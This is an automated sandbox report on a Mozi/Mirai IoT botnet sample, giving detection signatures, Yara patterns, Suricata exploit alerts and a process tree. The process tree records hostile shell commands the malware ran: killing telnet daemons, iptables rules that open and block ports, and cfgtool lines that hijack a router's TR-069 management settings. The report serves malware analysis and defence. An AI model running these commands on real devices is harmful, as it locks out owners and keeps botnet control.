Edit tour

Linux Analysis Report
Mozi.m.elf

Overview

General Information

Sample name:	Mozi.m.elf
Analysis ID:	1572834
MD5:	9bc075b91bc1088c6e230facc6510824
SHA1:	45e936d0278b04663b9375337b2d21afb44c361f
SHA256:	18e3658c5f62ef2fcd76b0ec25243d979741bf640a76513f121b40a83399a511
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Drops files in suspicious directories

Executes the "iptables" command to insert, remove and/or manipulate rules

Opens /proc/net/* files useful for finding connected devices and routers

Sample reads /proc/mounts (often used for finding a writable filesystem)

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using System V runlevels

Sample tries to set files in /etc globally writable

Terminates several processes with shell command 'killall'

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Creates hidden files without content (potentially used as a mutex)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "iptables" command used for managing IP filtering and manipulation

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Reads system information from the proc file system

Reads the 'hosts' file potentially containing internal network hosts

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings indicative of password brute-forcing capabilities

Sample contains strings that are potentially command strings

Sample listens on a socket

Sample tries to set the executable flag

Sleeps for long times indicative of sandbox evasion

Suricata IDS alerts with low severity for network traffic

Uses the "uname" system call to query kernel version information (possible evasion)

Writes ELF files to disk

Writes HTML files containing JavaScript to disk

Writes shell script files to disk

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572834
Start date and time:	2024-12-11 00:42:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	Mozi.m.elf
Detection:	MAL
Classification:	mal100.spre.troj.evad.linELF@0/486@73/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Reached maximum number of 1000 Suricata alerts, please consult the 'Suricata Logs'
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: Mozi.m.elf

Runtime Messages

Command:	/tmp/Mozi.m.elf
PID:	6226
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	telnetd: no process found utelnetd: no process found scfgmgr: no process found Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 /bin/sh: 1: cfgtool: not found /bin/sh: 1: cfgtool: not found Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705

Process Tree

system is lnxubuntu20

Mozi.m.elf (PID: 6226, Parent: 6151, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/Mozi.m.elf

Mozi.m.elf New Fork (PID: 6228, Parent: 6226)

Mozi.m.elf New Fork (PID: 6230, Parent: 6228)

Mozi.m.elf New Fork (PID: 6232, Parent: 6230)

sh (PID: 6232, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "killall -9 telnetd utelnetd scfgmgr"

sh New Fork (PID: 6240, Parent: 6232)

killall (PID: 6240, Parent: 6232, MD5: cd2adedbee501869ac691b88af39cd8b) Arguments: killall -9 telnetd utelnetd scfgmgr

Mozi.m.elf New Fork (PID: 6264, Parent: 6230)

Mozi.m.elf New Fork (PID: 6265, Parent: 6230)

Mozi.m.elf New Fork (PID: 6268, Parent: 6230)

Mozi.m.elf New Fork (PID: 6284, Parent: 6268)

sh (PID: 6284, Parent: 6268, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 41913 -j ACCEPT"

sh New Fork (PID: 6286, Parent: 6284)

iptables (PID: 6286, Parent: 6284, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 41913 -j ACCEPT

Mozi.m.elf New Fork (PID: 6291, Parent: 6268)

sh (PID: 6291, Parent: 6268, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 41913 -j ACCEPT"

sh New Fork (PID: 6293, Parent: 6291)

iptables (PID: 6293, Parent: 6291, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 41913 -j ACCEPT

Mozi.m.elf New Fork (PID: 6294, Parent: 6268)

sh (PID: 6294, Parent: 6268, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I PREROUTING -t nat -p tcp --destination-port 41913 -j ACCEPT"

sh New Fork (PID: 6300, Parent: 6294)

iptables (PID: 6300, Parent: 6294, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I PREROUTING -t nat -p tcp --destination-port 41913 -j ACCEPT

Mozi.m.elf New Fork (PID: 6303, Parent: 6268)

sh (PID: 6303, Parent: 6268, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I POSTROUTING -t nat -p tcp --source-port 41913 -j ACCEPT"

sh New Fork (PID: 6305, Parent: 6303)

iptables (PID: 6305, Parent: 6303, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I POSTROUTING -t nat -p tcp --source-port 41913 -j ACCEPT

Mozi.m.elf New Fork (PID: 6306, Parent: 6268)

sh (PID: 6306, Parent: 6268, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 41913 -j ACCEPT"

sh New Fork (PID: 6311, Parent: 6306)

iptables (PID: 6311, Parent: 6306, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 41913 -j ACCEPT

Mozi.m.elf New Fork (PID: 6312, Parent: 6268)

sh (PID: 6312, Parent: 6268, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 41913 -j ACCEPT"

sh New Fork (PID: 6317, Parent: 6312)

iptables (PID: 6317, Parent: 6312, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 41913 -j ACCEPT

Mozi.m.elf New Fork (PID: 6318, Parent: 6268)

sh (PID: 6318, Parent: 6268, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I PREROUTING -t nat -p tcp --dport 41913 -j ACCEPT"

sh New Fork (PID: 6320, Parent: 6318)

iptables (PID: 6320, Parent: 6318, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I PREROUTING -t nat -p tcp --dport 41913 -j ACCEPT

Mozi.m.elf New Fork (PID: 6321, Parent: 6268)

sh (PID: 6321, Parent: 6268, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I POSTROUTING -t nat -p tcp --sport 41913 -j ACCEPT"

sh New Fork (PID: 6323, Parent: 6321)

iptables (PID: 6323, Parent: 6321, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I POSTROUTING -t nat -p tcp --sport 41913 -j ACCEPT

Mozi.m.elf New Fork (PID: 6272, Parent: 6230)

Mozi.m.elf New Fork (PID: 6276, Parent: 6230)

Mozi.m.elf New Fork (PID: 6282, Parent: 6230)

Mozi.m.elf New Fork (PID: 6329, Parent: 6230)

sh (PID: 6329, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 58000 -j DROP"

sh New Fork (PID: 6333, Parent: 6329)

iptables (PID: 6333, Parent: 6329, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 58000 -j DROP

Mozi.m.elf New Fork (PID: 6335, Parent: 6230)

sh (PID: 6335, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 58000 -j DROP"

sh New Fork (PID: 6337, Parent: 6335)

iptables (PID: 6337, Parent: 6335, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 58000 -j DROP

Mozi.m.elf New Fork (PID: 6340, Parent: 6230)

sh (PID: 6340, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 58000 -j DROP"

sh New Fork (PID: 6342, Parent: 6340)

iptables (PID: 6342, Parent: 6340, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 58000 -j DROP

Mozi.m.elf New Fork (PID: 6361, Parent: 6230)

sh (PID: 6361, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 58000 -j DROP"

sh New Fork (PID: 6366, Parent: 6361)

iptables (PID: 6366, Parent: 6361, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 58000 -j DROP

Mozi.m.elf New Fork (PID: 6367, Parent: 6230)

sh (PID: 6367, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL \"http://127.0.0.1\""

Mozi.m.elf New Fork (PID: 6369, Parent: 6230)

sh (PID: 6369, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword \"acsMozi\""

Mozi.m.elf New Fork (PID: 6371, Parent: 6230)

sh (PID: 6371, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 35000 -j DROP"

sh New Fork (PID: 6373, Parent: 6371)

iptables (PID: 6373, Parent: 6371, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 35000 -j DROP

Mozi.m.elf New Fork (PID: 6374, Parent: 6230)

sh (PID: 6374, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 50023 -j DROP"

sh New Fork (PID: 6376, Parent: 6374)

iptables (PID: 6376, Parent: 6374, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 50023 -j DROP

Mozi.m.elf New Fork (PID: 6377, Parent: 6230)

sh (PID: 6377, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 50023 -j DROP"

sh New Fork (PID: 6382, Parent: 6377)

iptables (PID: 6382, Parent: 6377, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 50023 -j DROP

Mozi.m.elf New Fork (PID: 6383, Parent: 6230)

sh (PID: 6383, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 35000 -j DROP"

sh New Fork (PID: 6388, Parent: 6383)

iptables (PID: 6388, Parent: 6383, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 35000 -j DROP

Mozi.m.elf New Fork (PID: 6389, Parent: 6230)

sh (PID: 6389, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 7547 -j DROP"

sh New Fork (PID: 6394, Parent: 6389)

iptables (PID: 6394, Parent: 6389, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 7547 -j DROP

Mozi.m.elf New Fork (PID: 6395, Parent: 6230)

sh (PID: 6395, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 7547 -j DROP"

sh New Fork (PID: 6400, Parent: 6395)

iptables (PID: 6400, Parent: 6395, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 7547 -j DROP

Mozi.m.elf New Fork (PID: 6401, Parent: 6230)

sh (PID: 6401, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 35000 -j DROP"

sh New Fork (PID: 6406, Parent: 6401)

iptables (PID: 6406, Parent: 6401, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 35000 -j DROP

Mozi.m.elf New Fork (PID: 6407, Parent: 6230)

sh (PID: 6407, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 50023 -j DROP"

sh New Fork (PID: 6412, Parent: 6407)

iptables (PID: 6412, Parent: 6407, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 50023 -j DROP

Mozi.m.elf New Fork (PID: 6413, Parent: 6230)

sh (PID: 6413, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 50023 -j DROP"

sh New Fork (PID: 6418, Parent: 6413)

iptables (PID: 6418, Parent: 6413, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 50023 -j DROP

Mozi.m.elf New Fork (PID: 6419, Parent: 6230)

sh (PID: 6419, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 35000 -j DROP"

sh New Fork (PID: 6423, Parent: 6419)

iptables (PID: 6423, Parent: 6419, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 35000 -j DROP

Mozi.m.elf New Fork (PID: 6425, Parent: 6230)

sh (PID: 6425, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 7547 -j DROP"

sh New Fork (PID: 6430, Parent: 6425)

iptables (PID: 6430, Parent: 6425, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 7547 -j DROP

Mozi.m.elf New Fork (PID: 6431, Parent: 6230)

sh (PID: 6431, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 7547 -j DROP"

sh New Fork (PID: 6436, Parent: 6431)

iptables (PID: 6436, Parent: 6431, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 7547 -j DROP

Mozi.m.elf New Fork (PID: 6441, Parent: 6230)

sh (PID: 6441, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p udp --destination-port 28674 -j ACCEPT"

sh New Fork (PID: 6443, Parent: 6441)

iptables (PID: 6443, Parent: 6441, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p udp --destination-port 28674 -j ACCEPT

Mozi.m.elf New Fork (PID: 6444, Parent: 6230)

sh (PID: 6444, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p udp --source-port 28674 -j ACCEPT"

sh New Fork (PID: 6448, Parent: 6444)

iptables (PID: 6448, Parent: 6444, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p udp --source-port 28674 -j ACCEPT

Mozi.m.elf New Fork (PID: 6451, Parent: 6230)

sh (PID: 6451, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I PREROUTING -t nat -p udp --destination-port 28674 -j ACCEPT"

sh New Fork (PID: 6456, Parent: 6451)

iptables (PID: 6456, Parent: 6451, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I PREROUTING -t nat -p udp --destination-port 28674 -j ACCEPT

Mozi.m.elf New Fork (PID: 6457, Parent: 6230)

sh (PID: 6457, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I POSTROUTING -t nat -p udp --source-port 28674 -j ACCEPT"

sh New Fork (PID: 6459, Parent: 6457)

iptables (PID: 6459, Parent: 6457, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I POSTROUTING -t nat -p udp --source-port 28674 -j ACCEPT

Mozi.m.elf New Fork (PID: 6460, Parent: 6230)

sh (PID: 6460, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p udp --dport 28674 -j ACCEPT"

sh New Fork (PID: 6462, Parent: 6460)

iptables (PID: 6462, Parent: 6460, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p udp --dport 28674 -j ACCEPT

Mozi.m.elf New Fork (PID: 6463, Parent: 6230)

sh (PID: 6463, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p udp --sport 28674 -j ACCEPT"

sh New Fork (PID: 6465, Parent: 6463)

iptables (PID: 6465, Parent: 6463, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p udp --sport 28674 -j ACCEPT

Mozi.m.elf New Fork (PID: 6466, Parent: 6230)

sh (PID: 6466, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I PREROUTING -t nat -p udp --dport 28674 -j ACCEPT"

sh New Fork (PID: 6468, Parent: 6466)

iptables (PID: 6468, Parent: 6466, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I PREROUTING -t nat -p udp --dport 28674 -j ACCEPT

Mozi.m.elf New Fork (PID: 6469, Parent: 6230)

sh (PID: 6469, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I POSTROUTING -t nat -p udp --sport 28674 -j ACCEPT"

sh New Fork (PID: 6474, Parent: 6469)

iptables (PID: 6474, Parent: 6469, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I POSTROUTING -t nat -p udp --sport 28674 -j ACCEPT

dash New Fork (PID: 6239, Parent: 4331)

rm (PID: 6239, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.XlTs5dmQSe /tmp/tmp.5VLGGYD6OI /tmp/tmp.KMqOsJZXWu

dash New Fork (PID: 6241, Parent: 4331)

rm (PID: 6241, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.XlTs5dmQSe /tmp/tmp.5VLGGYD6OI /tmp/tmp.KMqOsJZXWu

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Mozi.m.elf	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Mozi.m.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
Mozi.m.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Mozi.m.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Mozi.m.elf	Linux_Trojan_Mirai_5c62e6b2	unknown	unknown	0x3850e:$a: FF C1 83 F9 05 7F 14 48 63 C1 48 89 94 C4 00 01 00 00 FF C6 48
Mozi.m.elf	Linux_Trojan_Mirai_77137320	unknown	unknown	0x384f5:$a: 54 24 01 89 C7 31 F6 31 C9 48 89 A4 24 00 01 00 00 EB 1D 80 7A
Mozi.m.elf	Linux_Trojan_Mirai_ac253e4f	unknown	unknown	0x383b3:$a: 00 31 C9 EB 0A 6B C1 0A 0F BE D2 8D 4C 02 D0 8A 17 48 FF C7 8D
Click to see the 2 entries

Dropped Files

Source	Rule	Description	Author	Strings
/usr/networks	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
/usr/networks	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
/usr/networks	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
/usr/networks	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
/usr/networks	Linux_Trojan_Mirai_5c62e6b2	unknown	unknown	0x3850e:$a: FF C1 83 F9 05 7F 14 48 63 C1 48 89 94 C4 00 01 00 00 FF C6 48
/usr/networks	Linux_Trojan_Mirai_77137320	unknown	unknown	0x384f5:$a: 54 24 01 89 C7 31 F6 31 C9 48 89 A4 24 00 01 00 00 EB 1D 80 7A
/usr/networks	Linux_Trojan_Mirai_ac253e4f	unknown	unknown	0x383b3:$a: 00 31 C9 EB 0A 6B C1 0A 0F BE D2 8D 4C 02 D0 8A 17 48 FF C7 8D
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6226.1.00007fd22c060000.00007fd22c06a000.rw-.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6226.1.00007fd22c060000.00007fd22c06a000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6228.1.00007fd22c060000.00007fd22c06a000.rw-.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6228.1.00007fd22c060000.00007fd22c06a000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6226.1.00007fd22c017000.00007fd22c058000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
6226.1.00007fd22c017000.00007fd22c058000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6226.1.00007fd22c017000.00007fd22c058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6226.1.00007fd22c017000.00007fd22c058000.r-x.sdmp	Linux_Trojan_Mirai_5c62e6b2	unknown	unknown	0x3850e:$a: FF C1 83 F9 05 7F 14 48 63 C1 48 89 94 C4 00 01 00 00 FF C6 48
6226.1.00007fd22c017000.00007fd22c058000.r-x.sdmp	Linux_Trojan_Mirai_77137320	unknown	unknown	0x384f5:$a: 54 24 01 89 C7 31 F6 31 C9 48 89 A4 24 00 01 00 00 EB 1D 80 7A
6226.1.00007fd22c017000.00007fd22c058000.r-x.sdmp	Linux_Trojan_Mirai_ac253e4f	unknown	unknown	0x383b3:$a: 00 31 C9 EB 0A 6B C1 0A 0F BE D2 8D 4C 02 D0 8A 17 48 FF C7 8D
6228.1.00007fd22c017000.00007fd22c058000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
6228.1.00007fd22c017000.00007fd22c058000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6228.1.00007fd22c017000.00007fd22c058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6228.1.00007fd22c017000.00007fd22c058000.r-x.sdmp	Linux_Trojan_Mirai_5c62e6b2	unknown	unknown	0x3850e:$a: FF C1 83 F9 05 7F 14 48 63 C1 48 89 94 C4 00 01 00 00 FF C6 48
6228.1.00007fd22c017000.00007fd22c058000.r-x.sdmp	Linux_Trojan_Mirai_77137320	unknown	unknown	0x384f5:$a: 54 24 01 89 C7 31 F6 31 C9 48 89 A4 24 00 01 00 00 EB 1D 80 7A
6228.1.00007fd22c017000.00007fd22c058000.r-x.sdmp	Linux_Trojan_Mirai_ac253e4f	unknown	unknown	0x383b3:$a: 00 31 C9 EB 0A 6B C1 0A 0F BE D2 8D 4C 02 D0 8A 17 48 FF C7 8D
Process Memory Space: Mozi.m.elf PID: 6226	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: Mozi.m.elf PID: 6226	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
Process Memory Space: Mozi.m.elf PID: 6226	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: Mozi.m.elf PID: 6228	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: Mozi.m.elf PID: 6228	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
Process Memory Space: Mozi.m.elf PID: 6228	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 17 entries

Suricata Signatures

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T00:42:57.848142+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	47902	13.239.19.86	80	TCP
2024-12-11T00:43:06.285876+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	45140	124.39.196.18	8080	TCP
2024-12-11T00:43:06.322100+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	48522	178.51.3.128	80	TCP
2024-12-11T00:43:06.391167+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	42494	221.40.54.221	80	TCP
2024-12-11T00:43:07.286423+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	35038	61.237.100.81	8080	TCP
2024-12-11T00:43:07.288236+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	49094	192.135.140.135	80	TCP
2024-12-11T00:43:07.288959+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	60168	220.15.89.10	80	TCP
2024-12-11T00:43:07.290776+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	58202	29.105.29.159	80	TCP
2024-12-11T00:43:07.301306+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	38568	211.70.46.51	8080	TCP
2024-12-11T00:43:07.302397+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	42994	14.232.148.193	80	TCP
2024-12-11T00:43:07.304205+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	59336	34.57.137.153	80	TCP
2024-12-11T00:43:07.309294+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	41766	179.117.226.194	80	TCP
2024-12-11T00:43:07.311481+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	33938	202.202.168.64	8080	TCP
2024-12-11T00:43:07.315110+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	44056	191.251.39.30	8080	TCP
2024-12-11T00:43:07.325038+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	54768	171.2.151.108	80	TCP
2024-12-11T00:43:07.328718+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	40804	102.112.159.159	80	TCP
2024-12-11T00:43:07.329456+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	59574	103.183.65.217	80	TCP
2024-12-11T00:43:07.332415+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	41712	180.236.218.223	8080	TCP
2024-12-11T00:43:07.344983+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	49554	179.171.182.119	8080	TCP
2024-12-11T00:43:07.349763+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	39006	22.236.52.239	8080	TCP
2024-12-11T00:43:07.355315+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	44314	173.120.168.239	8080	TCP
2024-12-11T00:43:07.358215+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	44986	93.22.239.48	80	TCP
2024-12-11T00:43:07.360768+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	39328	213.56.209.193	80	TCP
2024-12-11T00:43:07.361506+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	52678	78.160.226.219	8080	TCP
